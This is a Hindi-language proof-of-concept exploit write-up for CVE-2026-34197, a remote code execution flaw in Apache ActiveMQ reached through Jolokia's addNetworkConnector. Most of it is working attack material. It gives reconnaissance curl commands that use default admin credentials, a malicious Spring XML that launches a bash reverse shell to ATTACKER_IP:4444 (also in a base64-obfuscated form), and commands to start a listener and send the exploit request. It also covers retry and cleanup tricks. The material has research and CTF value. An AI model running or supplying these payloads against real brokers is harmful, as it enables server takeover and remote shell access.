
CVE-2026-34197 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Jolokia के addNetworkConnector के माध्यम से Apache ActiveMQ में एक RCE है, जिसमें तकनीकी नोट्स और रिवर्स शेल पेलोड शामिल हैं।
addNetworkConnector RCECVE-2026-34197 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी नोट्स, जो Apache ActiveMQ Classic में Jolokia JMX-HTTP ब्रिज के माध्यम से पहुंच योग्य एक रिमोट कोड एक्ज़ीक्यूशन भेद्यता है।
conf/jolokia-access.xml) हर org.apache.activemq:* MBean पर exec की अनुमति देती है। इसमें Broker.addNetworkConnector(String) शामिल है, जो एक vm:// ट्रांसपोर्ट URI स्वीकार करता है जिसके brokerConfig क्वेरी पैरामीटर को ब्रोकर Spring XML बीन परिभाषा फ़ाइल के रूप में प्राप्त और पार्स करता है। एक बीन जिसका वर्ग है और के साथ है, Spring द्वारा बीन ग्राफ़ को हल करने के दुष्प्रभाव के रूप में इंस्टैंशिएट — और प्रारंभ — किया जाता है। किसी डिसीरियलाइज़ेशन गैजेट चेन की आवश्यकता नहीं है।java.lang.ProcessBuilderinit-method="start"⚠️ केवल अधिकृत परीक्षण / शोध / CTF उपयोग के लिए। इसे उन सिस्टमों के खिलाफ न चलाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool
पुष्टि करें कि Broker MBean पर exec वास्तव में पहुंच योग्य है:
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
| python3 -m json.tool | grep -A3 addNetworkConnector
addNetworkConnector(String) एक सादा vm://... URI स्वीकार नहीं करता — इसे पहले एक डिस्कवरी-एजेंट URI के रूप में पार्स किया जाता है, और vm एक पंजीकृत डिस्कवरी स्कीम नहीं है (DiscoveryAgent scheme NOT recognized: [vm])। इसे ActiveMQ की स्टैटिक-डिस्कवरी स्कीम static:(...) में लपेटें, जो आंतरिक vm:// URI को बिना संशोधित पास करती है:
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)
poc.xml:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
<![CDATA[...]]> रैपर आवश्यक है क्योंकि रिवर्स-शेल वन-लाइनर में & होता है, जिसे XML अन्यथा एक एंटिटी संदर्भ की शुरुआत के रूप में पार्स करने का प्रयास करेगा। एक समकक्ष, एस्केपिंग-मुक्त विकल्प कमांड को base64 करना है:
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>
इसे सर्व करें:
python3 -m http.server 8000
एक लिसनर शुरू करें:
nc -lvnp 4444
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addNetworkConnector(java.lang.String)",
"arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
}'
Origin हेडर मायने रखता है। यदि इस संस्करण के jolokia-access.xml में CORS प्रवर्तन सक्षम है (एक <cors></cors> ब्लॉक, भले ही खाली हो), तो Jolokia को स्थिति-बदलने वाले अनुरोधों पर एक सुगठित Origin/Referer की आवश्यकता होती है। इसे छोड़ दें और आपको एक नीति-अस्वीकृत प्रतिक्रिया मिलेगी जो ऐसा दिख सकती है जैसे बॉक्स पैच किया गया है जबकि वह नहीं है।
एक सफल कॉल लौटाता है:
{"value":"NC","status":200}
कॉल HTTP पर ब्लाइंड है — कमांड आउटपुट ले जाने वाला कोई प्रतिक्रिया बॉडी नहीं है — इसलिए पिछले चरण का आपका लिसनर ही वास्तव में शेल को पकड़ता है।
InstanceAlreadyExistsException गॉचाaddNetworkConnector(String) हमेशा परिणामी JMX ऑब्जेक्ट को कनेक्टर नाम NC के तहत पंजीकृत करता है, चाहे आप कोई भी URI पास करें। यह ActiveMQ में ही एक हार्डकोडेड डिफ़ॉल्ट है, अनुरोध से व्युत्पन्न कुछ नहीं:
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";
BrokerViewMBean.addNetworkConnector(String discoveryAddress) इसे ओवरराइड करने का कोई तरीका कभी उजागर नहीं करता — कोई नाम/क्वेरी-पैरामीटर ट्रिक नहीं है जो पंजीकृत ObjectName को बदलती है (हाथ से परीक्षण किया गया: static:(...) रैपर के बाहर ?name=whatever जोड़ना चुपचाप अनदेखा किया जाता है)।
परिणाम: addNetworkConnector के लिए दूसरा कॉल — चाहे वह टूटे हुए पेलोड के बाद आपका अपना पुनः प्रयास हो, या केवल इसलिए कि कनेक्टर पहले से सफल रन से पंजीकृत है — विफल हो जाता है:
{
"error_type": "java.io.IOException",
"error_type_jmx": "javax.management.InstanceAlreadyExistsException",
"error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
"status": 500
}
इससे उबरने के लिए ब्रोकर रीस्टार्ट की आवश्यकता नहीं है। Broker उसी Jolokia नीति पर removeNetworkConnector(String) भी उजागर करता है (org.apache.activemq:* पर <allow operation="*"> अनुदान हर ब्रोकर ऑपरेशन को कवर करता है, केवल इस एक को नहीं)। पुराने कनेक्टर को नाम से साफ़ करें और पुनः प्रयास करें:
curl -s -u admin:admin \
-X POST "http://$TARGET:8161/api/jolokia/" \
-H "Content-Type: application/json" \
-H "Origin: http://$TARGET:8161" \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}'
एक सफल कॉल {"value":true,"status":200} लौटाता है। तुरंत बाद चरण 3 को फिर से चलाएं — यह NC को फिर से पंजीकृत करता है और poc.xml को फिर से फायर करता है।
admin HTTP बेसिक क्रेडेंशियल के समान पहचान नहीं, जो OS खाते से असंबंधित है।addNetworkConnector केवल Spring बीन को एक बार नहीं चलाता — यह ब्रोकर पर एक लाइव नेटवर्क कनेक्टर ऑब्जेक्ट पंजीकृत छोड़ देता है (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC)। यह एक्सप्लॉइटेशन का एक स्थायी कलाकृति है, चाहे स्पॉन की गई प्रक्रिया स्वयं बनी रहे या नहीं।NetworkBridgeConfiguration.java — private String name = "NC"; डिफ़ॉल्ट का स्रोतBrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX इंटरफ़ेसNetworkConnector.javaDiscoveryNetworkConnector.java